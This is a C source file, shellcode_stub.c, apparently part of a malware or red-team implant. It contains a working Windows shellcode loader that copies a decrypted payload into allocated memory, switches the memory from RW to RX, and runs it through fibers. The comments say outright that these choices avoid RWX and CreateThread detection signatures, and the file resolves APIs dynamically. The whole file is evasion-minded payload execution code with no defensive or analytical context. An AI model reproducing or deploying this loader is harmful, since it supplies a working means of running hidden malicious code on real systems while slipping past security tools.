/** * shellcode_stub.c — Shellcode execution (local, fiber-based) * * Allocates RW memory, copies decrypted payload, flips to RX, * and executes via fiber switching (no CreateThread). */ #include #include #include #include "api_resolve.h" /** * Execute raw shellcode in the current process via fiber. * sc_data: pointer to decrypted shellcode bytes * sc_len: length of the shellcode * Returns 0 on success, -1 on failure. */ int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) { if (!sc_data || sc_len == 0) return -1; /* Allocate RW memory */ LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!mem) return -1; /* Copy shellcode */ memcpy(mem, sc_data, sc_len); /* Flip to RX (no RWX — avoid easy detection) */ DWORD old_protect; if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) { g_api.pVirtualFree(mem, 0, MEM_RELEASE); return -1; } /* Execute via fiber — avoids CreateThread behavioral signature */ LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL); if (!main_fiber) { main_fiber = GetCurrentFiber(); } LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL); if (!sc_fiber) { g_api.pVirtualFree(mem, 0, MEM_RELEASE); return -1; } g_api.pSwitchToFiber(sc_fiber); /* Control returns here after shellcode completes */ g_api.pDeleteFiber(sc_fiber); /* Clean up */ g_api.pVirtualFree(mem, 0, MEM_RELEASE); return 0; }